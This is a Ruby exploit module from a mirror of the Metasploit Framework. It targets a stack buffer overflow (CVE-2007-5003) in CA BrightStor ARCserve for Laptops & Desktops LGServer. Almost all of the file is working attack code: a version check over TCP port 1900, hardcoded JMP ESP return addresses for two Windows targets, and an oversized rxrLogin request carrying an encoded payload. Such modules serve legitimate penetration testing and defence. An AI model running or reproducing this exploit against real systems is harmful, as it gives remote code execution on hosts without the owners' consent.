mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
94 lines
2.3 KiB
Ruby
94 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Computer Associates BrightStor ARCserve Backup
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for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
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overflow the buffer and execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-5003' ],
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[ 'OSVDB', '41353' ],
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[ 'BID', '24348' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
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],
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'DisclosureDate' => 'Jun 6 2007',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(1900) ], self.class)
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end
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def check
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connect
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sock.puts("0000000019rxrGetServerVersion")
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ver = sock.get_once
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disconnect
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if ( ver =~ /11.1.742/ )
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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buffer = rand_text_alpha_upper(17420) + [target.ret].pack('V')
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buffer << payload.encoded + rand_text_alpha_upper(300)
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sploit = "0000018124" # Command Length Field
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sploit << "rxrLogin" # RPC Command
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sploit << "~~" # Constant Argument Delimiter
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sploit << buffer # Argument
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print_status("Trying target #{target.name}...")
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# One-shot overwrite...
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sock.puts(sploit)
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handler
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disconnect
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end
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end
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